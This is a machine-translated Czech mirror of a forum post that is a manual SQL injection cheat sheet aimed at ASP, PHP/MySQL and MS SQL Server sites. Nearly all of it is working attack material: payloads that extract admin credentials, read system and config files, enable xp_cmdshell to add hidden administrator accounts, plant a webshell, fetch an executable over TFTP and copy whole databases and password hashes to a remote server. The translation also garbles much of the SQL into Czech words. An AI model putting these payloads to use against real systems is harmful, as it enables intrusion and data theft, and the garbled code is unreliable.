Tento článek je zrcadlovým článkem o strojovém překladu, klikněte zde pro přechod na původní článek.

Pohled: 20889|Odpověď: 2

[Bezpečná komunikace] SQL Injection Book – zranitelnost ASP Injection – Plný kontakt

[Kopírovat odkaz]
Zveřejněno 28.09.2015 18:21:41 | | |


MSSQL dotazy napříč databázemi (smradlavé jídlo!) Temnota)

Vyždímejte z MS SQL každou kapku

Reference SQL příkazů a objekty záznamové sady jsou podrobně vysvětleny

O uložených procedurách v SQL Serveru

Vytvořte webshell se zálohou mssql

SQL_Injection pokročilé aplikace

Cross-site SQL injection (laokai)

Weird SQL Injection (AMANL)

Pokročilá SQL injekce v aplikacích SQL Server

Jak používat SQL injection pro procházení adresářů

Průvodce technikami injekce SQL (překladatel: demonalex)

Některé útoky na SQL databáze

Technika útoku pomocí SQL injekce (JSW)

SQL_Injection Pokročilé aplikace (APACHY)

Neobvyklé metody SQL injekce (Guilin Veteran)

Zálohujte shell

Mluvme o php+mysql injection injection statement structure (Heyhehehehe·≯Super· Hei)

Pokročilá SQL injekce s MySQL (angel)

L'injection (My)SQL via PHP

Oracle SQL Language

SQL manuální injekční encyklopedie

Předpoklady vyžadují nástroje: SQL Query Analyzer a SqlExec Sunx verze
==============================================================================================
1. Zjistit, zda existuje injekční bod
; a 1=1 a 1=2
2. Tipněte, že název tabulky není nic jiného než administrátor, administrátor, uživatel, heslo, uživatelský přístup, atd.:
a 0<>(vyberte count(*) z *)
a 0<>(vyberte count(*) z admin) — Zjistit, zda administrátorská tabulka existuje
3. Hádejte počet účtů Pokud narazíte na 0< vraťte se na správnou stránku 1< vraťte chybovou stránku, která označí, že počet účtů je 1
a 0<(vyberte count(*) z admin)
a 1<(vyberte count(*) z admin)
4. Hádejte název pole. Přidejte název pole, který si představujeme, do závorek len( ).
a 1=(vyberte count(*) z admin, kde len(*)>0)–
a 1=(vyberte count(*) z admin, kde len(uživatelské jméno pole)>0)
a 1=(vyberte count(*) z admin, kde len(_blank>název pole hesla)>0)
5. Hádejte délku každého pole Odhadněte délku pro transformaci >0, dokud se nevrátí správná stránka
a 1=(vyberte count(*) z admin kde len(*)>0)
a 1=(vyberte count(*) z admin kde len(name)>6) chyba
a 1=(vyberte count(*) z admin kde len(name)>5) Správná délka je 6
a 1=(vyberte count(*) z admin, kde len(name)=6 je správný
a 1=(vyberte count(*) z admin, kde je len(password)>11) správné
a 1=(vyberte count(*) z admin, kde len(password)>12) chyba délka je 12
a 1=(vyberte count(*) z admin, kde len(password)=12 je správný
6. Hádejte postavy
a 1=(vyberte count(*) z admin kde left(name,1)=a) — Uhodněte první číslici uživatelského účtu
a 1=(vyberte count(*) z admin kde left(name,2)=ab)—Hádejte druhou číslici uživatelského účtu
Stačí přidávat jeden znak najednou, hádat tolik číslic, kolik jste právě uhodli, a číslo účtu se objeví
(1) Hádejte název stolu

Použité věty:
a existuje (vyberte * z názvu tabulky)

Například:
a existuje (vybrat * z admin)

Pokud stránka správně odpovídá, znamená to, že název tabulky, kterou jsme zde uhodli, je správný, a pokud je stránka špatná, znamená to, že název tabulky, který jsme zde napsali, je špatný

, poté změňte název tabulky a pokračujte v hádání, dokud neuhodnete.

Obecně běžně používané názvy tabulek zahrnují admin, manage, user nebo vložit to do běhu nástroje
(2) Hádej pole

Použité věty:
a existuje (vyberte název pole z názvu tabulky)

Například:
a existuje (vyberte uživatelské jméno z admin)

Zde, za předpokladu, že administrátorská tabulka je ta, kterou jsem správně odhadl výše, chci zjistit, zda pole uživatelského jména existuje, musím použít toto tvrzení, pokud stránka

Pokud je echo obličeje správné, znamená to, že název pole, který jsme zde uhodli, je správný, a pokud je stránka špatná, znamená to, že název pole, který jsme zde napsali, je špatný

, poté změňte název pole a pokračujte v hádání, dokud neuhodnete.

Obecně běžné názvy polí zahrnují uživatelské jméno, heslo, uživatel, pass, jméno, pass, pwd, usr, psd a další pole
(3) pořadí podle

order by je pro získání součtu počtu polí na dané stránce, čímž se připravuje na další společný dotaz
(4) Union Select

  1. Pokud podporujete společný dotaz, najděte zobrazovací bit http://www.xxx.com/product_show.asp?id=1 a 1=2 un select

1,2,3,4,5,6,7,8,9,10,11
Předpokládejme, že zobrazovací bity jsou 5,6. Dále stačí nahradit názvy polí odpovídající uživatelskému jménu a heslu správce pozicí zobrazovacího bitu zde
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 z admina našel pozadí přihlášení
  2. Pokud není podporován společný dotaz
Uživatelské jméno a heslo správce nelze získat bez společného dotazu – pomocí Ascii doslovného dekódování
Dva
  Použijte pořadí podle k určení počtu bitů v tabulce, a pokud to nefunguje, použijte union select k jejich uspořádání jeden po druhém, zde předpokládáme 8 bitů
Tři
  Použijte společný dotaz k určení zobrazovacích bitů
Čtyři
  Použijte zobrazovací bit k nalezení názvu databáze, verze databáze, 5.0 nebo vyšší lze injektovat
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,user(),0x5c,
version()),8
Pět
  S názvem databáze můžete začít získávat schéma názvu tabulky = následované HEX hodnotou názvu databáze a uhodnout název tabulky
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Šest
  Analyzovaný název tabulky určuje HEX hodnotu administrátorova tabulky název = název tabulky a odhaduje pole v tabulce
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Sedm
  Po získání polí v administrátorské tabulce se podíváme na obsah polí
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+uživatelské jméno,
0x5f,userpwd),8+from+pub_webmaster
Osm
  Nástroj skenuje pozadí: Po nalezení se přihlaste a nahrajte trojana, a pokud nenajdete robots.txt soubor, můžete k němu přistupovat
Devět
  Pokud pozadí nenajdete, bude odhaleno heslo správce MYSQL
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(user,password),8+from+mysql.user
Deset
  Náhodně přistupujete k cestě a zpětná vazba je výchozí stránka 404 v IIS6, což uvádí, že webový server je: Windows+IIS6+php+MySql prostředí
  c:\\windows\\system32\\\inetsrv\\MetaBase.xml Tato cesta umožňuje získat informace o konfiguraci webu.
  Konstruktové výroky http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Jedenáct
  Analyzujte kód a najděte adresu na pozadí
  V prvním kroku musíme zjistit délku polí v tabulce
Použité výroky:
a (vyberte horní 1 len(název pole) z názvu tabulky)>0
Jako co:
a (vyberte horní 1 len(admin_name) z administrace)>0
Stránka se zobrazuje normálně, délka pole admin_name je větší než 0 a předložím:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Stránka zobrazuje chybu, že pole je mezi 0 a 10 a délka je 5 podle dichotomie
Použitím stejné metody pro určení délky pole pro administrátorovo heslo dostanu délku 16
  Krok 2
Nyní přejdeme k druhému kroku, vezmeme určitý znak v poli a získáme ASCII kód znaku, který se používá

Prohlášení:
a (vyberte top 1 asc(mid(field name, N,1)) z názvu tabulky)>0
Podívejme se na tuto větu zvlášť, nejprve na nejvnitřnější střední (uživatelské jméno, 1,1) funkci, což je první znak admin_name pole, N

označuje, že první znaky mají být zachyceny,
Vnější funkce asc(), která převádí znaky zachycené střední funkcí do ASCII kódu, tedy nejvzdálenější horní jednička, reprezentuje návratové pole prvního místa

Takže deska,
">0" na konci slouží k porovnání převedeného ASCII kódu s tímto číslem a nakonec získání zachycení neustálou změnou poslední hodnoty

Zjistěte podrobnosti o této postavě
ASCII kód
Příspěvek:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Stránka se zobrazuje normálně, což naznačuje, že ASCII kód tohoto znaku je větší než 30.
Příspěvek:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Stránka se zobrazuje normálně, což znamená, že ASCII kód tohoto znaku je větší než 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
ASCII kód, který jsem pro tuto postavu nakonec vytvořil, je 97
Porovnejte tabulku ASCII:
Lze usoudit, že první znak je "a".
Pak posoudím ASCII kód druhého znaku.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Stránka se zobrazuje normálně, což znamená, že ASCII kód znaku je větší než 90, a poslední hodnota je vždy změněna
Stejná metoda přinesla heslo administrátora a výsledek byl:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
a 1=(vyberte top 1 count(*) z Admin, kde Asc(mid(pass,5,1))=51) –
Tento dotaz může uhodnout čínského uživatele a _blank> heslo. Stačí nahradit následující čísla čínským kódem ASSIC

Převádět na znaky.

skupina users.id má 1=1–www.myhack58.com
seskupit podle users.id, users.username, users.password, users.privs mají 1=1–
; Vložte do uživatelských hodnot (666, útočník, foobar 0xffff )–

UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde

TABLE_blank>_NAME=přihlásitelné-
UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde

TABLE_blank>_NAME=přihlásitelný Kde COLUMN_blank>_NAME NE V (login_blank>_id)-
UNION Vyberte TOP 1 COLUMN_blank>_NAME Z INFORMATION_blank>_SCHEMA. SLOUPY Kde

TABLE_blank>_NAME=přihlásitelný Kde COLUMN_blank>_NAME NENÍ

(login_blank>_id,login_blank>_name)-
UNION Vyberte TOP 1 login_blank>_name Z logintable-
UNION Vyberte TOP 1 heslo Z přihlašovací tabule, kde login_blank>_name=Rahul–
Podívejte se na patch, který přehrál _blank> server = špatná SP4 záplata černá záložní síť
a 1=(vybrat @@VERSION)–

Podívejte se na oprávnění účtu připojení k databázi _blank> a vrátí se normální, což dokazuje, že jde o oprávnění správce systému pro roli _blank> serveru.
a 1=(Vybrat IS_blank>_SRVROLEMEMBER(sysadmin))–

Zjistěte, zda _blank> databázový účet propojený. (Použijte SA účet pro připojení a vrácení normálně = prokázat, že připojený účet je SA)
a sa=(Vybrat System_blank>_user)–
a user_blank>_name()=dbo–
a 0<>(vybrat user_blank>_name()–

Zkus xp_blank>_cmdshell smaže.
a 1=(Vyberte count(*) FROM master.dbo.sysobjects kde xtype = X AND name = xp_blank>_cmdshell)



xp_blank>_cmdshell je smazán, obnoven a podporuje absolutní obnovu cesty
; VÝKONNÝ master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== oprávnění databáze je vystaveno fyzickému kódu cesty webu

==========================================================================
1、tabule drop [jm_tmp]; Create Table [jm_tmp](value Navrchar(4000) null,data nvarchar(4000)

null) -- Vytvořit tabulku


2、 smazat [jm_tmp]; Vložte [jm_tmp] výkonný master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'--

Vložte adresář webu do pole tabulky


3、a (vyberte top 1 cast([data] jako nvarchar(4000) char(124) z [jm_tmp] pořadí podle [data]

desc)=0 '///Expozice pole


4. Zrušte tabulku [jm_tmp] -- smažte tuto tabulku.
aby velení získalo granát
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Jiné trasy stanice
======================load_file() Běžně používané citlivé informace ===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)

2、nahraď(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
Výše uvedené dvě jsou pro zobrazení PHP souboru, který plně zobrazuje kód. Někdy některé znaky nejsou nahrazeny, například "<" místo "space", které se vrátí

Webová stránka. A kód nelze zobrazit na obrazovce.

3. load_file(char(47)) může uvádět kořenový adresář systémů FreeBSD a Sunos

4. Zobrazit konfigurační soubor virtuálního hostitele linuxu APACHE v /etc/httpd/conf/httpd.conf nebo /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf nebo C:\apache\conf\httpd.conf pro zobrazení WINDOWS

System Apache soubor

6. c:/Resin-3.0.14/conf/resin.conf Zobrazit informace o konfiguraci souboru resin na webu vyvinutém jsp.

7. c:/resin/conf/resin.conf /usr/local/resin/conf/conf/pro zobrazení virtuálního hostitele JSP nakonfigurovaného na systému Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9、C:\Program Files\mysql\my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path

11. C:\Windows\system32\inetsrv\MetaBase.xml Zobrazit konfigurační soubor virtuálního hostitele IIS

12. /usr/local/resin-3.0.22/conf/resin.conf pro zobrazení konfiguračního souboru RESIN pro 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Stejné jako výše

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtuální hostitel

15. /etc/sysconfig/iptables závisí na politice firewallu

16. /usr/local/app/php5 b/php.ini nastavení ekvivalentu PHP

17. /etc/my.cnf MYSQL konfigurační soubor

18. /etc/verze Red Hat pro systém vydání

19 、C:\mysql\data\mysql\user. MYD existuje v uživatelském hesle v systému MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 pro zobrazení IP.

21. /usr/local/app/php5 b/php.ini /PHP nastavení

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtuální nastavení webu

23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue zobrazuje distribuční informace linuxového jádra

26、/etc/ftpuser

27. Zkontrolujte operační logový soubor pod LINUXem user.bash_history nebo .bash_profile

28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Experimentujte s reverzním PING sám
; používejte master; deklarujte @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s ven; exec

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Přidat si účet
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–

Vytvořte virtuální adresář E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Přístupové atributy: (s psaním do webshellu)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Speciální _blank> trik na burstování knihovny: :%5c=\ nebo upravit %5 s / a \ pro commit
a 0<>(vyberte nejlepší 1 cesty z newtable)–

Získejte název databáze (od 1 do 5 jsou ID systému a můžete je hodnotit nad 6)
a 1=(vyberte název z master.dbo.sysdatabases, kde dbid=7)–
a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=6)
Odeslat dbid v pořadí = 7,8,9.... Získejte více _blank> názvů databází

a 0<>(vyberte první jméno z bbs.dbo.sysobjects, kde xtype=U) vtrhnou do tabulky za předpokladu administrátora
a 0<>(vyberte první jméno z bbs.dbo.sysobjects, kde xtype=u a jméno není v (Admin)).

Jiné stoly.
a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin
a uid>(str(id))) Číselná hodnota UID se předpokládá 18779569 uid=id
a 0<>(vyberte první jméno z bbs.dbo.syscolumns, kde id=18779569) získá pole admin, false

Nastaveno na user_blank>_id
a 0<>(vyberte první jméno z bbs.dbo.syscolumns, kde id=18779569 a jméno není v
(id,...)) odhalit další pole
a 0<(vyberte user_blank>_id z BBS.dbo.admin kde uživatelské jméno>1) získáte uživatelské jméno
Na oplátku můžete získat _blank> heslo。。。。。 Představte si, že existují pole jako user_blank>_id uživatelské jméno, heslo atd

a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=6)
a 0<>(vyberte top 1 jméno z bbs.dbo.sysobjects, kde xtype=U) pro získání názvu tabulky
a 0<>(vyberte top 1 jméno z bbs.dbo.sysobjects, kde xtype=u a jméno není v (Address))
a 0<>(vyberte count(*) z bbs.dbo.sysobjects, kde xtype=u a name=admin a uid>(str(id)))

Určte hodnotu id
a 0<>(vyberte první jméno z BBS.dbo.syscolumns, kde id=773577794) všechna pole

?id=-1 Union Select 1,2,3,4,5,6,7,8,9,10,11,12,13,* z admin
?id=-1 Union Select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 z admina (Union,Access je také snadno použitelný)

Získejte cestu WEB
; Vytvořte tabulku [dbo]. [výměna] ([swappass][char](255)); –
a (vyberte top 1 swappass ze swapu)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec

Mistře.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTÉM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, hodnoty=@test

OUTPUT vložit do paths(paths) values(@test)–
; Použijte ku1; –
; Create table cmd (str image); – Vytvořit tabulkový cmd typu obrazu
1. Způsob, jak odstranit proces rozšíření xp_cmdshell, je použít následující tvrzení:

pokud existuje (vyberte * z dbo.sysobjects kde id=object_id(N'[dbo].[ xpcmdshell]') a

OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Způsob, jak přidat xp_cmdshell proces rozšíření, je použít následující tvrzení:

(1) SQL analyzátor dotazů

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Nejprve vyplňte %s v možnosti Formát ve verzi SqlExec Sunx a zadejte je do možnosti CMD

sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'

odstranit

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Existuje xp_blank>_cmdshell testovacích procesů:
; Výkonný mistr.. xp_blank>_cmdshell dir
; Výkonný master.dbo.sp_blank>_addlogin Jiaoniang$; – Přidat SQL účty
; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember Jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell uživatel sítě jiaoniang$ 1866574 /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
Výkonný mistr.. xp_blank>_servicecontrol start, plán _blank> zahájení služby
Výkonný mistr.. xp_blank>_servicecontrol start, servere
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; Výkonný mistr.. xp_blank>_cmdshell tftp -i youip get file.exe – nahrávání souborů pomocí TFTP

; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; vyhlásit @a; množina @a=db_blank>_name(); zálohovací databáze @a na disk=vaše IP Váš sdílený adresář bak.dat
Pokud je omezený, ano.
select * from openrowset(_blank>sqloledb,server; SA; ,Vyberte OK! exec

master.dbo.sp_blank>_addlogin hax)

Struktura dotazu:
Vyberte * Ze zpráv Kde id=... A téma=... A .....
adminand 1=(vyberte count(*) z [user] kde username=victim a right(left(userpass,01),1)=1)

a uživatelský průchod <>
vyberte 123; –
; používejte master; –
:a nebo jméno jako fff%; – Zobrazuje uživatele jménem ffff.
a 1<>(vyberte count(email) z [uživatel]); –
; aktualizace [uživatelé] nastavte email=(vyberte první jméno ze sysobjects, kde xtype=you a status>0) kde

jméno=ffff; –
; aktualizace [Users] nastavte email=(vyberte horní 1 ID ze sysobjects, kde xtype=you a jméno=ad) kde

jméno=ffff; –
; Aktualizace [Users] Nastavte email=(Vyberte první jméno ze sysobjects, kde xtype=you a id>581577110)

kde jméno=ffff; –
; aktualizace [uživatelé] nastavte email=(vyberte horní 1 count(id) z hesla), kde jméno=ffff; –
; aktualizace [uživatelé] nastavte email=(vyberte top 1 pwd z hesla, kde id=2) kde jméno=ffff; –
; aktualizace [uživatelé] nastavte email=(vyberte první jméno z hesla, kde id=2) kde jméno=ffff; –
Výše uvedené tvrzení je získat první uživatelskou tabulku v databázi _blank> a zadat název tabulky do e-mailového pole uživatele ffff.
Prohlížením uživatelského profilu ffff můžete získat první tabulku nazvanou AD
Pak získejte ID této tabulky podle názvu tabulky a reklamy, abyste získali název druhé tabulky

vložit do uživatelů hodnoty(666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Vložte do uživatelských hodnot (667,123,123,0xffff)–
vložit do uživatelských hodnot (123, admin–, heslo, 0xffff)–
; a uživatel>0
; a (vyberte count(*) ze sysobjects)>0
; a (vyberte count(*) z mysysobjects)>0 // pro databázi access_blank>

Vyjmenujte název datové tabulky
; Aktualizovat AAA nastavte aaa=(vyberte první jméno ze sysobjectů, kde xtype=u a status>0); –
Zde se název první tabulky aktualizuje na pole AAA.
Přečtěte si první tabulku a druhou tabulku lze číst takto (přidejte a pojmenujte za podmínku<> název tabulky, kterou jste právě získali).
; Aktualizace AAA nastavte aaa=(vyberte horní 1 jméno ze sysobjectů, kde xtype=u a status>0 a

jméno<>hlasování); –
Pak id=1552 a existuje (vyberte * z aaa, kde aaa>5)
Přečtěte druhou tabulku a čtěte ji jednu po druhé, dokud nezůstane žádná.
Pole čtení vypadá takto:
; aktualizovat aaa set aaa=(vyberte top 1 col_blank>_name(object_blank>_id(název tabulky),1)); –
Pak id=152 a existuje (vyberte * z aaa, kde aaa>5) dostane chybu a získá název pole
; aktualizovat aaa set aaa=(vybrat top 1 col_blank>_name(object_blank>_id(název tabulky),2)); –
Pak id=152 a existuje (vyberte * z aaa, kde aaa>5) dostane chybu a získá název pole

[Získejte název datové tabulky] [Aktualizujte hodnotu pole na název tabulky a poté přečtěte hodnotu tohoto pole, abyste získali název tabulky]
Aktualizovat pole Název tabulky Set =(vyberte první jméno ze sysObjects, kde xtype=u a status>0 [ a jméno<>

Název tabulky, který dostanete, Najdi jeden plus jedna]) [kde podmínka] Vyberte nejvyšší jméno 1 ze sysobjectů, kde xtype=u a

Stav>0 a jméno není v (table1,table2,...)
Vytvoření účtu správce databáze a správce systému _blank> _blank> injekce zranitelností přes SQLSERVER [Aktuální účet musí být skupina SYSADMIN]

[Získejte název pole Datatable] [Aktualizujte hodnotu pole na název pole a poté přečtěte hodnotu tohoto pole, abyste získali název pole]
Aktualizovat pole Název tabulky Set =(vyberte horní 1 col_blank>_name(object_blank>_id (název datové tabulky pro dotaz), sloupec pole

Například: 1) [ kde podmínka]

Obcházení detekce IDS [pomocí proměnných]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Otevřete vzdálenou databázi _blank>
Základní syntaxe
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrat * z tabulky1 )
Parametry: (1) Název poskytovatele OLEDB
2. Parametr spojovacího řetězce může být jakýkoli port pro připojení, například
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,

Vyberte * ze stolu
3. Zkopírovat celou _blank> databázi cílového hostitele a vložit všechny vzdálené tabulky do lokální tabulky.

Základní syntaxe:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, vybrat * z tabulky1) vybrat

* z tabulky2
Tento řádek zkopíruje všechna data z tabulky table2 na cílovém hostiteli do tabulky table1 v databázi vzdálené _blank>. Vhodné opravy v praktickém použití

Změňte IP adresu a port spojovacího řetězce tak, aby ukazoval tam, kam ho potřebujete, například:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabulky1) Vyberte * z tabulky2
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_sysdatabases)
Vyberte * z master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_sysobjects)
Vyberte * z user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z _blank>_syscolumns)
Vyberte * z user_blank>_database.dbo.syscolumns
Replikujte _blank> databázi:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabulky 1) Vyberte * z databáze.. Tabulka1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,select

* z tabulky 2) vyberte * z databáze.. Tabulka2

Hash hesla, které kopíruje přihlašovací _blank> hashovací tabulku (HASH), je uložen v sysxlogins. Zde je návod, jak na to:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Síť=DBMSSOCN; Adresa=192.168.0.1,1433; ,vyberte * z _blank>_sysxlogins)

Vyberte * z database.dbo.sysxlogins
